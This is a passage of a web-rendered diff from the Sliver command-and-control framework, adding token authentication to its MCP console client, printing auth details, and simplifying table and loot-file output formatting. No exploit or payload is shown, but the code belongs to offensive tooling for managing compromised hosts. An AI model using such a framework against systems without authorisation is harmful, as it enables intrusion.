Use: consts.RmStr,
|
Use: consts.RmStr,
|
||||||
|
|||||||
@@ -82,7 +82,7 @@ func PrintLootFile(loot *clientpb.Loot, con *console.SliverClient) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
if loot.File.Name != "" {
|
if loot.File.Name != "" {
|
||||||
con.PrintInfof("%sFile Name:%s %s\n\n", console.Bold, console.Normal, loot.File.Name)
|
con.PrintInfof("%s %s\n\n", console.StyleBold.Render("File Name:"), loot.File.Name)
|
||||||
}
|
}
|
||||||
if loot.File.Data != nil && 0 < len(loot.File.Data) {
|
if loot.File.Data != nil && 0 < len(loot.File.Data) {
|
||||||
if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) {
|
if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) {
|
||||||
|
|||||||
@@ -66,6 +66,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.Bind("", false, consoleCmd, func(f *pflag.FlagSet) {
|
flags.Bind("", false, consoleCmd, func(f *pflag.FlagSet) {
|
||||||
f.String("transport", string(defaultConfig.Transport), "mcp transport (http or sse)")
|
f.String("transport", string(defaultConfig.Transport), "mcp transport (http or sse)")
|
||||||
f.String("url", "", "mcp server URL (defaults to local server settings)")
|
f.String("url", "", "mcp server URL (defaults to local server settings)")
|
||||||
|
f.String("auth-token", "", "MCP auth token (defaults to the local mcp.yaml token)")
|
||||||
})
|
})
|
||||||
flags.BindFlagCompletions(consoleCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(consoleCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["transport"] = carapace.ActionValues("http", "sse")
|
(*comp)["transport"] = carapace.ActionValues("http", "sse")
|
||||||
|
|||||||
@@ -6,12 +6,14 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
clientmcp "github.com/bishopfox/sliver/client/mcp"
|
clientmcp "github.com/bishopfox/sliver/client/mcp"
|
||||||
"github.com/bishopfox/sliver/client/version"
|
"github.com/bishopfox/sliver/client/version"
|
||||||
mcpclient "github.com/mark3labs/mcp-go/client"
|
mcpclient "github.com/mark3labs/mcp-go/client"
|
||||||
|
mcptransport "github.com/mark3labs/mcp-go/client/transport"
|
||||||
mcpapi "github.com/mark3labs/mcp-go/mcp"
|
mcpapi "github.com/mark3labs/mcp-go/mcp"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
)
|
)
|
||||||
@@ -36,7 +38,23 @@ func McpConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
client, err := newConsoleClient(transport, targetURL)
|
authToken, _ := cmd.Flags().GetString("auth-token")
|
||||||
|
if authToken == "" {
|
||||||
|
status := clientmcp.GetStatus()
|
||||||
|
if status.AuthToken != "" {
|
||||||
|
authToken = status.AuthToken
|
||||||
|
} else {
|
||||||
|
authInfo, loadErr := clientmcp.LoadAuthInfo()
|
||||||
|
if loadErr == nil {
|
||||||
|
authToken = authInfo.Token
|
||||||
|
} else if !errors.Is(loadErr, os.ErrNotExist) {
|
||||||
|
con.PrintErrorf("%s\n", loadErr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
client, err := newConsoleClient(transport, targetURL, authToken)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
con.PrintErrorf("%s\n", err)
|
con.PrintErrorf("%s\n", err)
|
||||||
return
|
return
|
||||||
@@ -68,12 +86,19 @@ func McpConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
|||||||
runConsoleREPL(ctx, client, cmd.InOrStdin(), cmd.OutOrStdout())
|
runConsoleREPL(ctx, client, cmd.InOrStdin(), cmd.OutOrStdout())
|
||||||
}
|
}
|
||||||
|
|
||||||
func newConsoleClient(transport clientmcp.Transport, targetURL string) (*mcpclient.Client, error) {
|
func newConsoleClient(transport clientmcp.Transport, targetURL string, authToken string) (*mcpclient.Client, error) {
|
||||||
|
if strings.TrimSpace(authToken) == "" {
|
||||||
|
return nil, fmt.Errorf("mcp auth token is required (use --auth-token or start the local MCP server first)")
|
||||||
|
}
|
||||||
|
headers := map[string]string{
|
||||||
|
clientmcp.AuthHeaderName(): authToken,
|
||||||
|
}
|
||||||
|
|
||||||
switch transport {
|
switch transport {
|
||||||
case clientmcp.TransportHTTP:
|
case clientmcp.TransportHTTP:
|
||||||
return mcpclient.NewStreamableHttpClient(targetURL)
|
return mcpclient.NewStreamableHttpClient(targetURL, mcptransport.WithHTTPHeaders(headers))
|
||||||
case clientmcp.TransportSSE:
|
case clientmcp.TransportSSE:
|
||||||
return mcpclient.NewSSEMCPClient(targetURL)
|
return mcpclient.NewSSEMCPClient(targetURL, mcpclient.WithHeaders(headers))
|
||||||
default:
|
default:
|
||||||
return nil, fmt.Errorf("unsupported transport %q", transport)
|
return nil, fmt.Errorf("unsupported transport %q", transport)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -26,6 +26,12 @@ func McpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
} else {
|
} else {
|
||||||
con.PrintErrorf("Endpoint: %s\n", err)
|
con.PrintErrorf("Endpoint: %s\n", err)
|
||||||
}
|
}
|
||||||
|
if status.AuthHeader != "" {
|
||||||
|
con.Printf("Auth Header: %s\n", status.AuthHeader)
|
||||||
|
}
|
||||||
|
if status.AuthToken != "" {
|
||||||
|
con.Printf("Auth Token: %s\n", status.AuthToken)
|
||||||
|
}
|
||||||
|
|
||||||
if status.Running && !status.StartedAt.IsZero() {
|
if status.Running && !status.StartedAt.IsZero() {
|
||||||
uptime := time.Since(status.StartedAt).Truncate(time.Second)
|
uptime := time.Since(status.StartedAt).Truncate(time.Second)
|
||||||
|
|||||||
@@ -43,4 +43,11 @@ func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
if err == nil {
|
if err == nil {
|
||||||
con.PrintInfof("Endpoint: %s\n", endpoint)
|
con.PrintInfof("Endpoint: %s\n", endpoint)
|
||||||
}
|
}
|
||||||
|
status := slivermcp.GetStatus()
|
||||||
|
if status.AuthHeader != "" {
|
||||||
|
con.PrintInfof("Auth Header: %s\n", status.AuthHeader)
|
||||||
|
}
|
||||||
|
if status.AuthToken != "" {
|
||||||
|
con.PrintInfof("Auth Token: %s\n", status.AuthToken)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -20,7 +20,6 @@ package monitor
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/command/settings"
|
"github.com/bishopfox/sliver/client/command/settings"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -99,14 +98,12 @@ func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverCli
|
|||||||
"APIPassword",
|
"APIPassword",
|
||||||
})
|
})
|
||||||
|
|
||||||
color := console.Normal
|
|
||||||
|
|
||||||
for _, config := range configs.Providers {
|
for _, config := range configs.Providers {
|
||||||
row := table.Row{}
|
row := table.Row{}
|
||||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.ID))
|
row = append(row, config.ID)
|
||||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.Type))
|
row = append(row, config.Type)
|
||||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIKey))
|
row = append(row, config.APIKey)
|
||||||
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIPassword))
|
row = append(row, config.APIPassword)
|
||||||
tw.AppendRow(row)
|
tw.AppendRow(row)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Loaded 100 of 2579 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user